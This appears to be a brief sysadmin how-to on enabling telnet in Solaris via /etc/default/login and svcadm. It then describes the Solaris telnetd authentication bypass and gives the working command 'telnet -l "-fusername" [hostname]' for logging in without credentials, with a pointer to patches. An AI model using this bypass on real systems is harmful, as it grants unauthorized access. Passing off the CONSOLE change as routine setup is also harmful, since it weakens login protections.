How to enable Telnet in Solaris

To enable TELNET service in Solaris do the following steps:

Step1: Edit the /etc/default/login file
vi /etc/default/login
comment the line "CONSOLE"

Step2: Run the following command to do enable
svcadm enable telnet
(or)
svcadm -v enable svc:/network/telnet:default

Step3: Check the status of the service
svcs | grep telnet

Troubleshooting:
If you face any problem while enabling the telnet service, check the following command output to identify the issue.

svcs -l telnet
(or)
svcs -d telnet

Solaris Telnet Authentication Bypass

In some Solaris versions, the telnet daemon allows authentication bypass.

Following example will log in you to the system with the user "username" without asking for credentials.

telnet -l "-fusername" [hostname]

Example:

1. telnet -l "-ftestuser" SolarisAdminServer

Hint:
To fix this bug/issue, go ahead and install all the Solaris patches for that particular version using this link Patches and Updates .